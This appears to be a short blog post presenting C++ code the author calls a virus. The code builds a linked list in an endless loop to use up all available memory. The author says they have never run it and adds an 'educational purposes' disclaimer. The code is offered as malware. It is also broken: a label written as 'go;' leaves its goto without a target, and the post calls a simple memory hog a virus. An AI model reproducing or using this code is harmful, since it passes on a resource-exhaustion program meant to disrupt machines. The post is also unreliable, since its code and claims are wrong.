A simple Virus Program

Hello Friends…!!

Here is a simple virus program which I prepared myself…..

This is prepared on C++ using linked list. It simply occupies all the space available in the memory when you run it. Although I haven’t executed it till now. This is the first post from me-

 

#include<iostream.h>
struct viruslink
{    int info;
viruslink *next;
}*newptr,*start,*save,*ptr,*rear;
viruslink* Create_New_Node(int);
void Insert(viruslink*);
void main()
{    start=NULL;
int i,j;
i=j=0;
while(i==0)
{    go;
newptr=Create_New_Node(j);
if(newptr==NULL)
goto go;
Insert(newptr);
j++;i=0;
}
}
viruslink* Create_New_Node(int n)
{    ptr=new viruslink;
ptr->info=n;
ptr->next=NULL;
return ptr;
}
void Insert(viruslink* np)
{    if(start==NULL)    start=rear=np;
else
{    rear->next=np;
rear=np;
}
}

 

 

DISCLAIMER: This Virus program is just for educational purposes. Please don’t use it for any destructive purpose.

Advertisements